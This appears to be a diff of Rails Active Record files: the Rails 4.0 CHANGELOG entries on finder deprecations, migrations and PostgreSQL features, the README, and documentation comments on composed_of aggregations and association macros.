+ *Andrew White*
+
+* Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of
+ this is to move when the exceptions are raised from the point of declaration
+ to when the association is built. This is consistent with other association
+ validity checks.
+
+ *Andrew White*
+
+* Added `stored_attributes` hash which contains the attributes stored using
+ `ActiveRecord::Store`. This allows you to retrieve the list of attributes
+ you've defined.
+
+ class User < ActiveRecord::Base
+ store :settings, accessors: [:color, :homepage]
+ end
+
+ User.stored_attributes[:settings] # [:color, :homepage]
+
+ *Joost Baaij & Carlos Antonio da Silva*
+
+* PostgreSQL default log level is now 'warning', to bypass the noisy notice
+ messages. You can change the log level using the `min_messages` option
+ available in your config/database.yml.
+
+ *kennyj*
+
+* Add uuid datatype support to PostgreSQL adapter.
+
+ *Konstantin Shabanov*
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if
+ migrations are pending.
+
+ *Richard Schneeman*
+
+* Added `#destroy!` which acts like `#destroy` but will raise an
+ `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
+
+ *Marc-André Lafortune*
+
+* Added support to `CollectionAssociation#delete` for passing `fixnum`
+ or `string` values as record ids. This finds the records responding
+ to the `id` and executes delete on them.
+
+ class Person < ActiveRecord::Base
+ has_many :pets
+ end
+
+ person.pets.delete("1") # => [#<Pet id: 1>]
+ person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
+
+ *Francesco Rodriguez*
+
+* Deprecated most of the 'dynamic finder' methods. All dynamic methods
+ except for `find_by_...` and `find_by_...!` are deprecated. Here's
+ how you can rewrite the code:
+
+ * `find_all_by_...` can be rewritten using `where(...)`
+ * `find_last_by_...` can be rewritten using `where(...).last`
+ * `scoped_by_...` can be rewritten using `where(...)`
+ * `find_or_initialize_by_...` can be rewritten using
+ `where(...).first_or_initialize`
+ * `find_or_create_by_...` can be rewritten using
+ `find_or_create_by(...)` or where(...).first_or_create`
+ * `find_or_create_by_...!` can be rewritten using
+ `find_or_create_by!(...) or `where(...).first_or_create!`
+
+ The implementation of the deprecated dynamic finders has been moved
+ to the `activerecord-deprecated_finders` gem. See below for details.
+
+ *Jon Leighton*
+
+* Deprecated the old-style hash based finder API. This means that
+ methods which previously accepted "finder options" no longer do. For
+ example this:
+
+ Post.find(:all, conditions: { comments_count: 10 }, limit: 5)
+
+ Should be rewritten in the new style which has existed since Rails 3:
+
+ Post.where(comments_count: 10).limit(5)
+
+ Note that as an interim step, it is possible to rewrite the above as:
+
+ Post.all.merge(where: { comments_count: 10 }, limit: 5)
+
+ This could save you a lot of work if there is a lot of old-style
+ finder usage in your application.
+
+ `Relation#merge` now accepts a hash of
+ options, but they must be identical to the names of the equivalent
+ finder method. These are mostly identical to the old-style finder
+ option names, except in the following cases:
+
+ * `:conditions` becomes `:where`.
+ * `:include` becomes `:includes`.
+
+ The code to implement the deprecated features has been moved out to the
+ `activerecord-deprecated_finders` gem. This gem is a dependency of Active
+ Record in Rails 4.0, so the interface works out of the box. It will no
+ longer be a dependency from Rails 4.1 (you'll need to add it to the
+ `Gemfile` in 4.1), and will be maintained until Rails 5.0.
+
+ *Jon Leighton*
+
+* It's not possible anymore to destroy a model marked as read only.
+
+ *Johannes Barre*
+
+* Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects.
+
+ Record.from(subquery)
+ Record.from(subquery, :a)
+
+ *Radoslav Stankov*
+
+* Added custom coders support for ActiveRecord::Store. Now you can set
+ your custom coder like this:
+
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+ *Andrey Voronkov*
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by
+ default to avoid silent data loss. This can be disabled by specifying
+ `strict: false` in your `database.yml`.
+
+ *Michael Pearson*
+
+* Added default order to `first` to assure consistent results among
+ different database engines. Introduced `take` as a replacement to
+ the old behavior of `first`.
+
+ *Marcelo Silveira*
+
+* Added an `:index` option to automatically create indexes for references
+ and belongs_to statements in migrations.
+
+ The `references` and `belongs_to` methods now support an `index`
+ option that receives either a boolean value or an options hash
+ that is identical to options available to the add_index method:
+
+ create_table :messages do |t|
+ t.references :person, index: true
+ end
+
+ Is the same as:
+
+ create_table :messages do |t|
+ t.references :person
+ end
+ add_index :messages, :person_id
+
+ Generators have also been updated to use the new syntax.
+
+ *Joshua Wood*
+
+* Added `#find_by` and `#find_by!` to mirror the functionality
+ provided by dynamic finders in a way that allows dynamic input more
+ easily:
+
+ Post.find_by name: 'Spartacus', rating: 4
+ Post.find_by "published_at < ?", 2.weeks.ago
+ Post.find_by! name: 'Spartacus'
+
+ *Jon Leighton*
+
+* Added ActiveRecord::Base#slice to return a hash of the given methods with
+ their names as keys and returned values as values.
+
+ *Guillermo Iguaran*
+
+* Deprecate eager-evaluated scopes.
+
+ Don't use this:
+
+ scope :red, where(color: 'red')
+ default_scope where(color: 'red')
+
+ Use this:
+
+ scope :red, -> { where(color: 'red') }
+ default_scope { where(color: 'red') }
+
+ The former has numerous issues. It is a common newbie gotcha to do
+ the following:
+
+ scope :recent, where(published_at: Time.now - 2.weeks)
+
+ Or a more subtle variant:
+
+ scope :recent, -> { where(published_at: Time.now - 2.weeks) }
+ scope :recent_red, recent.where(color: 'red')
+
+ Eager scopes are also very complex to implement within Active
+ Record, and there are still bugs. For example, the following does
+ not do what you expect:
+
+ scope :remove_conditions, except(:where)
+ where(...).remove_conditions # => still has conditions
+
+ *Jon Leighton*
+
+* Remove IdentityMap
+
+ IdentityMap has never graduated to be an "enabled-by-default" feature, due
+ to some inconsistencies with associations, as described in this commit:
+
+ https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6
+
+ Hence the removal from the codebase, until such issues are fixed.
+
+ *Carlos Antonio da Silva*
+
+* Added the schema cache dump feature.
+
+ `Schema cache dump` feature was implemented. This feature can dump/load internal state of `SchemaCache` instance
+ because we want to boot rails more quickly when we have many models.
+
+ Usage notes:
+
+ 1) execute rake task.
+ RAILS_ENV=production bundle exec rake db:schema:cache:dump
+ => generate db/schema_cache.dump
+
+ 2) add config.active_record.use_schema_cache_dump = true in config/production.rb. BTW, true is default.
+
+ 3) boot rails.
+ RAILS_ENV=production bundle exec rails server
+ => use db/schema_cache.dump
+
+ 4) If you remove clear dumped cache, execute rake task.
+ RAILS_ENV=production bundle exec rake db:schema:cache:clear
+ => remove db/schema_cache.dump
+
+ *kennyj*
+
+* Added support for partial indices to PostgreSQL adapter.
+
+ The `add_index` method now supports a `where` option that receives a
+ string with the partial index criteria.
+
+ add_index(:accounts, :code, where: 'active')
+
+ generates
+
+ CREATE INDEX index_accounts_on_code ON accounts(code) WHERE active
+
+ *Marcelo Silveira*
+
+* Implemented `ActiveRecord::Relation#none` method.
+
+ The `none` method returns a chainable relation with zero records
+ (an instance of the NullRelation class).
+
+ Any subsequent condition chained to the returned relation will continue
+ generating an empty relation and will not fire any query to the database.
+
+ *Juanjo Bazán*
+
+* Added the `ActiveRecord::NullRelation` class implementing the null
+ object pattern for the Relation class.
+
+ *Juanjo Bazán*
+
+* Added new `dependent: :restrict_with_error` option. This will add
+ an error to the model, rather than raising an exception.
+
+ The `:restrict` option is renamed to `:restrict_with_exception` to
+ make this distinction explicit.
+
+ *Manoj Kumar & Jon Leighton*
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+ create_join_table :products, :categories
+ # =>
+ # create_table :categories_products, id: false do |td|
+ # td.integer :product_id, null: false
+ # td.integer :category_id, null: false
+ # end
+
+ *Rafael Mendonça França*
+
+* The primary key is always initialized in the @attributes hash to `nil` (unless
+ another value has been specified).
+
+ *Aaron Paterson*
+
+* In previous releases, the following would generate a single query with
+ an `OUTER JOIN comments`, rather than two separate queries:
+
+ Post.includes(:comments)
+ .where("comments.name = 'foo'")
+
+ This behaviour relies on matching SQL string, which is an inherently
+ flawed idea unless we write an SQL parser, which we do not wish to
+ do.
+
+ Therefore, it is now deprecated.
+
+ To avoid deprecation warnings and for future compatibility, you must
+ explicitly state which tables you reference, when using SQL snippets:
+
+ Post.includes(:comments)
+ .where("comments.name = 'foo'")
+ .references(:comments)
+
+ Note that you do not need to explicitly specify references in the
+ following cases, as they can be automatically inferred:
+
+ Post.includes(:comments).where(comments: { name: 'foo' })
+ Post.includes(:comments).where('comments.name' => 'foo')
+ Post.includes(:comments).order('comments.name')
+
+ You do not need to worry about this unless you are doing eager
+ loading. Basically, don't worry unless you see a deprecation warning
+ or (in future releases) an SQL error due to a missing JOIN.
+
+ *Jon Leighton*
+
+* Support for the `schema_info` table has been dropped. Please
+ switch to `schema_migrations`.
+
+ *Aaron Patterson*
+
+* Connections *must* be closed at the end of a thread. If not, your
+ connection pool can fill and an exception will be raised.
+
+ *Aaron Patterson*
+
+* PostgreSQL hstore records can be created.
+
+ *Aaron Patterson*
+
+* PostgreSQL hstore types are automatically deserialized from the database.
+
+ *Aaron Patterson*
+
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activerecord/CHANGELOG.md) for previous changes.

+= Active Record -- Object-relational mapping put on rails
+
+Active Record connects classes to relational database tables to establish an
+almost zero-configuration persistence layer for applications. The library
+provides a base class that, when subclassed, sets up a mapping between the new
+class and an existing table in the database. In the context of an application,
+these classes are commonly referred to as *models*. Models can also be
+connected to other models; this is done by defining *associations*.
+
+Active Record relies heavily on naming in that it uses class and association
+names to establish mappings between respective database tables and foreign key
+columns. Although these mappings can be defined explicitly, it's recommended
+to follow naming conventions, especially when getting started with the
+library.
+
+A short rundown of some of the major features:
+
+* Automated mapping between classes and tables, attributes and columns.
+
+ class Product < ActiveRecord::Base
+ end
+
+ The Product class is automatically mapped to the table named "products",
+ which might look like this:
+
+ CREATE TABLE products (
+ id int(11) NOT NULL auto_increment,
+ name varchar(255),
+ PRIMARY KEY (id)
+ );
+
+ This would also define the following accessors: `Product#name` and
+ `Product#name=(new_name)`
+

+
+
+* Associations between objects defined by simple class methods.
+
+ class Firm < ActiveRecord::Base
+ has_many :clients
+ has_one :account
+ belongs_to :conglomerate
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Associations/ClassMethods.html]
+
+
+* Aggregations of value objects.
+
+ class Account < ActiveRecord::Base
+ composed_of :balance, class_name: 'Money',
+ mapping: %w(balance amount)
+ composed_of :address,
+ mapping: [%w(address_street street), %w(address_city city)]
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Aggregations/ClassMethods.html]
+
+
+* Validation rules that can differ for new or existing objects.
+
+ class Account < ActiveRecord::Base
+ validates :subdomain, :name, :email_address, :password, presence: true
+ validates :subdomain, uniqueness: true
+ validates :terms_of_service, acceptance: true, on: :create
+ validates :password, :email_address, confirmation: true, on: :create
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Validations.html]
+
+
+* Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.).
+
+ class Person < ActiveRecord::Base
+ before_destroy :invalidate_payment_plan
+ # the `invalidate_payment_plan` method gets called just before Person#destroy
+ end
+
+ {Learn more}[link:classes/ActiveRecord/Callbacks.html]

+
+
+* Logging support for Log4r[http://log4r.rubyforge.org] and Logger[http://www.ruby-doc.org/stdlib/libdoc/logger/rdoc].
+
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)

+
+
+== Philosophy
+
+Active Record is an implementation of the object-relational mapping (ORM)
+pattern[http://www.martinfowler.com/eaaCatalog/activeRecord.html] by the same
+name described by Martin Fowler:
+
+ "An object that wraps a row in a database table or view,
+ encapsulates the database access, and adds domain logic on that data."
+
+Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is
+object-relational mapping. The prime directive for this mapping has been to minimize
+the amount of code needed to build a real-world domain model. This is made possible
+by relying on a number of conventions that make it easy for Active Record to infer
+complex relations and structures from a minimal amount of explicit direction.
+
+Convention over Configuration:
+* No XML-files!
+* Lots of reflection and run-time extension
+* Magic is not inherently a bad word
+
+Admit the Database:
+* Lets you drop down to SQL for odd cases and performance
+* Doesn't attempt to duplicate or replace data definitions
+
+
+== Download and installation
+
+The latest version of Active Record can be installed with RubyGems:
+
+ % [sudo] gem install activerecord
+
+Source code can be downloaded as part of the Rails project on GitHub:

+== Setup
+
+If you don't have the environment set make sure to read
+
+ http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#testing-active-record
+
+== Running the Tests
+
+You can run a particular test file from the command line, e.g.
+
+ $ ruby -Itest test/cases/base_test.rb
+
+To run a specific test:
+
+ $ ruby -Itest test/cases/base_test.rb -n test_something_works
+
+You can run with a database other than the default you set in test/config.yml, using the ARCONN
+environment variable:
+
+ $ ARCONN=postgresql ruby -Itest test/cases/base_test.rb
+
+You can run all the tests for a given database via rake:
+
+ $ rake test_mysql
+
+The 'rake test' task will run all the tests for mysql, mysql2, sqlite3 and postgresql.
+
+== Custom Config file
+
+By default, the config file is expected to be at the path test/config.yml. You can specify a
+custom location with the ARCONFIG environment variable.

+
+ def clear_aggregation_cache #:nodoc:

+ end
+
+ # Active Record implements aggregation through a macro-like class method called +composed_of+
+ # for representing attributes as value objects. It expresses relationships like "Account [is]
+ # composed of Money [among other things]" or "Person [is] composed of [an] address". Each call
+ # to the macro adds a description of how the value objects are created from the attributes of
+ # the entity object (when the entity is initialized either as a new object or from finding an
+ # existing object) and how it can be turned back into attributes (when the entity is saved to
+ # the database).
+ #
+ # class Customer < ActiveRecord::Base
+ # composed_of :balance, class_name: "Money", mapping: %w(balance amount)
+ # composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+ # end
+ #
+ # The customer class now has the following methods to manipulate the value objects:
+ # * <tt>Customer#balance, Customer#balance=(money)</tt>
+ # * <tt>Customer#address, Customer#address=(address)</tt>
+ #
+ # These methods will operate with value objects like the ones described below:
+ #
+ # class Money
+ # include Comparable
+ # attr_reader :amount, :currency
+ # EXCHANGE_RATES = { "USD_TO_DKK" => 6 }
+ #
+ # def initialize(amount, currency = "USD")
+ # @amount, @currency = amount, currency
+ # end
+ #
+ # def exchange_to(other_currency)
+ # exchanged_amount = (amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor
+ # Money.new(exchanged_amount, other_currency)
+ # end
+ #
+ # def ==(other_money)
+ # amount == other_money.amount && currency == other_money.currency
+ # end
+ #
+ # def <=>(other_money)
+ # if currency == other_money.currency
+ # amount <=> other_money.amount
+ # else
+ # amount <=> other_money.exchange_to(currency).amount
+ # end
+ # end
+ # end
+ #
+ # class Address
+ # attr_reader :street, :city
+ # def initialize(street, city)
+ # @street, @city = street, city
+ # end
+ #
+ # def close_to?(other_address)
+ # city == other_address.city
+ # end
+ #
+ # def ==(other_address)
+ # city == other_address.city && street == other_address.street
+ # end
+ # end
+ #
+ # Now it's possible to access attributes from the database through the value objects instead. If
+ # you choose to name the composition the same as the attribute's name, it will be the only way to
+ # access that attribute. That's the case with our +balance+ attribute. You interact with the value
+ # objects just like you would with any other attribute:
+ #
+ # customer.balance = Money.new(20) # sets the Money value object and the attribute
+ # customer.balance # => Money value object
+ # customer.balance.exchange_to("DKK") # => Money.new(120, "DKK")
+ # customer.balance > Money.new(10) # => true
+ # customer.balance == Money.new(20) # => true
+ # customer.balance < Money.new(5) # => false
+ #
+ # Value objects can also be composed of multiple attributes, such as the case of Address. The order
+ # of the mappings will determine the order of the parameters.
+ #
+ # customer.address_street = "Hyancintvej"
+ # customer.address_city = "Copenhagen"
+ # customer.address # => Address.new("Hyancintvej", "Copenhagen")
+ #
+ # customer.address_street = "Vesterbrogade"
+ # customer.address # => Address.new("Hyancintvej", "Copenhagen")
+ # customer.clear_aggregation_cache
+ # customer.address # => Address.new("Vesterbrogade", "Copenhagen")
+ #
+ # customer.address = Address.new("May Street", "Chicago")
+ # customer.address_street # => "May Street"
+ # customer.address_city # => "Chicago"
+ #
+ # == Writing value objects
+ #
+ # Value objects are immutable and interchangeable objects that represent a given value, such as
+ # a Money object representing $5. Two Money objects both representing $5 should be equal (through
+ # methods such as <tt>==</tt> and <tt><=></tt> from Comparable if ranking makes sense). This is
+ # unlike entity objects where equality is determined by identity. An entity class such as Customer can
+ # easily have two different objects that both have an address on Hyancintvej. Entity identity is
+ # determined by object or relational unique identifiers (such as primary keys). Normal
+ # ActiveRecord::Base classes are entity objects.
+ #
+ # It's also important to treat the value objects as immutable. Don't allow the Money object to have
+ # its amount changed after creation. Create a new Money object with the new value instead. The
+ # Money#exchange_to method is an example of this. It returns a new value object instead of changing
+ # its own values. Active Record won't persist value objects that have been changed through means
+ # other than the writer method.
+ #
+ # The immutable requirement is enforced by Active Record by freezing any object assigned as a value
+ # object. Attempting to change it afterwards will result in a RuntimeError.
+ #
+ # Read more about value objects on http://c2.com/cgi/wiki?ValueObject and on the dangers of not
+ # keeping value objects immutable on http://c2.com/cgi/wiki?ValueObjectsShouldBeImmutable
+ #
+ # == Custom constructors and converters
+ #
+ # By default value objects are initialized by calling the <tt>new</tt> constructor of the value
+ # class passing each of the mapped attributes, in the order specified by the <tt>:mapping</tt>
+ # option, as arguments. If the value class doesn't support this convention then +composed_of+ allows
+ # a custom constructor to be specified.
+ #
+ # When a new value is assigned to the value object, the default assumption is that the new value
+ # is an instance of the value class. Specifying a custom converter allows the new value to be automatically
+ # converted to an instance of value class if necessary.
+ #
+ # For example, the NetworkResource model has +network_address+ and +cidr_range+ attributes that
+ # should be aggregated using the NetAddr::CIDR value class (http://netaddr.rubyforge.org). The constructor
+ # for the value class is called +create+ and it expects a CIDR address string as a parameter. New
+ # values can be assigned to the value object using either another NetAddr::CIDR object, a string
+ # or an array. The <tt>:constructor</tt> and <tt>:converter</tt> options can be used to meet
+ # these requirements:
+ #
+ # class NetworkResource < ActiveRecord::Base
+ # composed_of :cidr,
+ # class_name: 'NetAddr::CIDR',
+ # mapping: [ %w(network_address network), %w(cidr_range bits) ],
+ # allow_nil: true,

+ # network_resource.cidr = '192.168.0.1/24'
+ #
+ # # This assignment won't use the :converter as the value is already an instance of the value class

+ #
+ # == Finding records by a value object
+ #
+ # Once a +composed_of+ relationship is specified for a model, records can be loaded from the database
+ # by specifying an instance of the value object in the conditions hash. The following example
+ # finds all customers with +balance_amount+ equal to 20 and +balance_currency+ equal to "USD":
+ #
+ # Customer.where(balance: Money.new(20, "USD"))
+ #
+ module ClassMethods
+ # Adds reader and writer methods for manipulating a value object:
+ # <tt>composed_of :address</tt> adds <tt>address</tt> and <tt>address=(new_address)</tt> methods.
+ #
+ # Options are:
+ # * <tt>:class_name</tt> - Specifies the class name of the association. Use it only if that name
+ # can't be inferred from the part id. So <tt>composed_of :address</tt> will by default be linked
+ # to the Address class, but if the real class name is CompanyAddress, you'll have to specify it
+ # with this option.
+ # * <tt>:mapping</tt> - Specifies the mapping of entity attributes to attributes of the value
+ # object. Each mapping is represented as an array where the first item is the name of the
+ # entity attribute and the second item is the name of the attribute in the value object. The
+ # order in which mappings are defined determines the order in which attributes are sent to the
+ # value class constructor.
+ # * <tt>:allow_nil</tt> - Specifies that the value object will not be instantiated when all mapped
+ # attributes are +nil+. Setting the value object to +nil+ has the effect of writing +nil+ to all
+ # mapped attributes.
+ # This defaults to +false+.
+ # * <tt>:constructor</tt> - A symbol specifying the name of the constructor method or a Proc that
+ # is called to initialize the value object. The constructor is passed all of the mapped attributes,
+ # in the order that they are defined in the <tt>:mapping option</tt>, as arguments and uses them
+ # to instantiate a <tt>:class_name</tt> object.
+ # The default is <tt>:new</tt>.
+ # * <tt>:converter</tt> - A symbol specifying the name of a class method of <tt>:class_name</tt>
+ # or a Proc that is called when a new value is assigned to the value object. The converter is
+ # passed the single value that is used in the assignment and is only called if the new value is
+ # not an instance of <tt>:class_name</tt>. If <tt>:allow_nil</tt> is set to true, the converter
+ # can return nil to skip the assignment.
+ #
+ # Option examples:
+ # composed_of :temperature, mapping: %w(reading celsius)
+ # composed_of :balance, class_name: "Money", mapping: %w(balance amount),
+ # converter: Proc.new { |balance| balance.to_money }
+ # composed_of :address, mapping: [ %w(address_street street), %w(address_city city) ]
+ # composed_of :gps_location
+ # composed_of :gps_location, allow_nil: true
+ # composed_of :ip_address,
+ # class_name: 'IPAddr',
+ # mapping: %w(ip to_i),
+ # constructor: Proc.new { |ip| IPAddr.new(ip, Socket::AF_INET) },
+ # converter: Proc.new { |ip| ip.is_a?(Integer) ? IPAddr.new(ip, Socket::AF_INET) : IPAddr.new(ip.to_s) }
+ #

+ # Associations are a set of macro-like class methods for tying objects together through

+ # or "Project belongs to a Portfolio". Each macro adds a number of methods to the
+ # class which are specialized according to the collection or association symbol and the
+ # options hash. It works much the same way as Ruby's own <tt>attr*</tt>
+ # methods.
+ #
+ # class Project < ActiveRecord::Base
+ # belongs_to :portfolio
+ # has_one :project_manager
+ # has_many :milestones
+ # has_and_belongs_to_many :categories
+ # end
+ #
+ # The project class now has the following methods (and more) to ease the traversal and
+ # manipulation of its relationships:
+ # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
+ # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
+ # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
+ # <tt>Project#milestones.delete(milestone), Project#milestones.destroy(milestone), Project#milestones.find(milestone_id),</tt>
+ # <tt>Project#milestones.build, Project#milestones.create</tt>
+ # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
+ # <tt>Project#categories.delete(category1), Project#categories.destroy(category1)</tt>
+ #
+ # === A word of warning
+ #
+ # Don't create associations that have the same name as instance methods of
+ # <tt>ActiveRecord::Base</tt>. Since the association adds a method with that name to
+ # its model, it will override the inherited method and break things.
+ # For instance, +attributes+ and +connection+ would be bad choices for association names.

+ # others.exists? | X | X | X
+ # others.distinct | X | X | X
+ # others.uniq | X | X | X
+ # others.reset | X | X | X
+ #
+ # === Overriding generated methods
+ #
+ # Association methods are generated in a module that is included into the model class,
+ # which allows you to easily override with your own methods and call the original
+ # generated method with +super+. For example:
+ #
+ # class Car < ActiveRecord::Base
+ # belongs_to :owner
+ # belongs_to :old_owner
+ # def owner=(new_owner)
+ # self.old_owner = self.owner
+ # super
+ # end
+ # end
+ #
+ # If your model class is <tt>Project</tt>, the module is
+ # named <tt>Project::GeneratedFeatureMethods</tt>. The GeneratedFeatureMethods module is
+ # included in the model class immediately after the (anonymous) generated attributes methods
+ # module, meaning an association will override the methods for an attribute with the same name.
+ #
+ # == Cardinality and associations
+ #
+ # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
+ # relationships between models. Each model uses an association to describe its role in
+ # the relation. The +belongs_to+ association is always used in the model that has
+ # the foreign key.
+ #
+ # === One-to-one
+ #
+ # Use +has_one+ in the base, and +belongs_to+ in the associated model.
+ #
+ # class Employee < ActiveRecord::Base
+ # has_one :office
+ # end
+ # class Office < ActiveRecord::Base
+ # belongs_to :employee # foreign key - employee_id
+ # end
+ #
+ # === One-to-many
+ #
+ # Use +has_many+ in the base, and +belongs_to+ in the associated model.
+ #
+ # class Manager < ActiveRecord::Base
+ # has_many :employees
+ # end
+ # class Employee < ActiveRecord::Base
+ # belongs_to :manager # foreign key - manager_id
+ # end
+ #
+ # === Many-to-many
+ #
+ # There are two ways to build a many-to-many relationship.
+ #
+ # The first way uses a +has_many+ association with the <tt>:through</tt> option and a join model, so
+ # there are two stages of associations.
+ #
+ # class Assignment < ActiveRecord::Base
+ # belongs_to :programmer # foreign key - programmer_id
+ # belongs_to :project # foreign key - project_id
+ # end
+ # class Programmer < ActiveRecord::Base
+ # has_many :assignments
+ # has_many :projects, through: :assignments
+ # end
+ # class Project < ActiveRecord::Base
+ # has_many :assignments
+ # has_many :programmers, through: :assignments
+ # end
+ #
+ # For the second way, use +has_and_belongs_to_many+ in both models. This requires a join table
+ # that has no corresponding model or primary key.
+ #
+ # class Programmer < ActiveRecord::Base
+ # has_and_belongs_to_many :projects # foreign keys in the join table
+ # end
+ # class Project < ActiveRecord::Base
+ # has_and_belongs_to_many :programmers # foreign keys in the join table
+ # end
+ #
+ # Choosing which way to build a many-to-many relationship is not always simple.
+ # If you need to work with the relationship model as its own entity,
+ # use <tt>has_many :through</tt>. Use +has_and_belongs_to_many+ when working with legacy schemas or when
+ # you never work directly with the relationship itself.
+ #
+ # == Is it a +belongs_to+ or +has_one+ association?
+ #
+ # Both express a 1-1 relationship. The difference is mostly where to place the foreign
+ # key, which goes on the table for the class declaring the +belongs_to+ relationship.
+ #
+ # class User < ActiveRecord::Base
+ # # I reference an account.
+ # belongs_to :account
+ # end
+ #
+ # class Account < ActiveRecord::Base
+ # # One user references me.
+ # has_one :user
+ # end
+ #
+ # The tables for these classes could look something like:
+ #
+ # CREATE TABLE users (
+ # id int(11) NOT NULL auto_increment,
+ # account_id int(11) default NULL,
+ # name varchar default NULL,
+ # PRIMARY KEY (id)
+ # )
+ #
+ # CREATE TABLE accounts (
+ # id int(11) NOT NULL auto_increment,
+ # name varchar default NULL,
+ # PRIMARY KEY (id)
+ # )
+ #
+ # == Unsaved objects and associations
+ #
+ # You can manipulate objects and associations before they are saved to the database, but
+ # there is some special behavior you should be aware of, mostly involving the saving of
+ # associated objects.
+ #
+ # You can set the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
+ # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it
+ # to +true+ will _always_ save the members, whereas setting it to +false+ will
+ # _never_ save the members. More details about :autosave option is available at
+ # autosave_association.rb .
+ #
+ # === One-to-one associations
+ #
+ # * Assigning an object to a +has_one+ association automatically saves that object and
+ # the object being replaced (if there is one), in order to update their foreign
+ # keys - except if the parent object is unsaved (<tt>new_record? == true</tt>).
+ # * If either of these saves fail (due to one of the objects being invalid), an
+ # <tt>ActiveRecord::RecordNotSaved</tt> exception is raised and the assignment is
+ # cancelled.
+ # * If you wish to assign an object to a +has_one+ association without saving it,
+ # use the <tt>build_association</tt> method (documented below). The object being
+ # replaced will still be saved to update its foreign key.
+ # * Assigning an object to a +belongs_to+ association does not save the object, since
+ # the foreign key field belongs on the parent. It does not save the parent either.
+ #
+ # === Collections
+ #
+ # * Adding an object to a collection (+has_many+ or +has_and_belongs_to_many+) automatically
+ # saves that object, except if the parent object (the owner of the collection) is not yet
+ # stored in the database.
+ # * If saving any of the objects being added to a collection (via <tt>push</tt> or similar)
+ # fails, then <tt>push</tt> returns +false+.
+ # * If saving fails while replacing the collection (via <tt>association=</tt>), an
+ # <tt>ActiveRecord::RecordNotSaved</tt> exception is raised and the assignment is
+ # cancelled.
+ # * You can add an object to a collection without automatically saving it by using the
+ # <tt>collection.build</tt> method (documented below).
+ # * All unsaved (<tt>new_record? == true</tt>) members of the collection are automatically
+ # saved when the parent is saved.
+ #
+ # == Customizing the query
+ #
+ # Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
+ # to customize them. For example, to add a condition:
+ #
+ # class Blog < ActiveRecord::Base
+ # has_many :published_posts, -> { where published: true }, class_name: 'Post'
+ # end
+ #
+ # Inside the <tt>-> { ... }</tt> block you can use all of the usual <tt>Relation</tt> methods.
+ #
+ # === Accessing the owner object
+ #
+ # Sometimes it is useful to have access to the owner object when building the query. The owner
+ # is passed as a parameter to the block. For example, the following association would find all
+ # events that occur on the user's birthday:
+ #
+ # class User < ActiveRecord::Base
+ # has_many :birthday_events, ->(user) { where starts_on: user.birthday }, class_name: 'Event'
+ # end
+ #
+ # == Association callbacks
+ #
+ # Similar to the normal callbacks that hook into the life cycle of an Active Record object,
+ # you can also define callbacks that get triggered when you add an object to or remove an
+ # object from an association collection.
+ #
+ # class Project
+ # has_and_belongs_to_many :developers, after_add: :evaluate_velocity
+ #
+ # def evaluate_velocity(developer)
+ # ...
+ # end
+ # end
+ #
+ # It's possible to stack callbacks by passing them as an array. Example:
+ #
+ # class Project
+ # has_and_belongs_to_many :developers,
+ # after_add: [:evaluate_velocity, Proc.new { |p, d| p.shipping_date = Time.now}]
+ # end
+ #
+ # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
+ #
+ # Should any of the +before_add+ callbacks throw an exception, the object does not get
+ # added to the collection. Same with the +before_remove+ callbacks; if an exception is
+ # thrown the object doesn't get removed.
+ #
+ # == Association extensions
+ #
+ # The proxy objects that control the access to associations can be extended through anonymous
+ # modules. This is especially beneficial for adding new finders, creators, and other
+ # factory-type methods that are only used as part of this association.
+ #
+ # class Account < ActiveRecord::Base
+ # has_many :people do
+ # def find_or_create_by_name(name)
+ # first_name, last_name = name.split(" ", 2)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
+ # end
+ # end
+ # end
+ #
+ # person = Account.first.people.find_or_create_by_name("David Heinemeier Hansson")
+ # person.first_name # => "David"
+ # person.last_name # => "Heinemeier Hansson"
+ #
+ # If you need to share the same extensions between many associations, you can use a named
+ # extension module.
+ #
+ # module FindOrCreateByNameExtension
+ # def find_or_create_by_name(name)
+ # first_name, last_name = name.split(" ", 2)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
+ # end
+ # end
+ #
+ # class Account < ActiveRecord::Base
+ # has_many :people, -> { extending FindOrCreateByNameExtension }
+ # end
+ #
+ # class Company < ActiveRecord::Base
+ # has_many :people, -> { extending FindOrCreateByNameExtension }
+ # end
+ #
+ # Some extensions can only be made to work with knowledge of the association's internals.
+ # Extensions can access relevant state using the following methods (where +items+ is the
+ # name of the association):
+ #
+ # * <tt>record.association(:items).owner</tt> - Returns the object the association is part of.
+ # * <tt>record.association(:items).reflection</tt> - Returns the reflection object that describes the association.
+ # * <tt>record.association(:items).target</tt> - Returns the associated object for +belongs_to+ and +has_one+, or
+ # the collection of associated objects for +has_many+ and +has_and_belongs_to_many+.
+ #
+ # However, inside the actual extension code, you will not have access to the <tt>record</tt> as
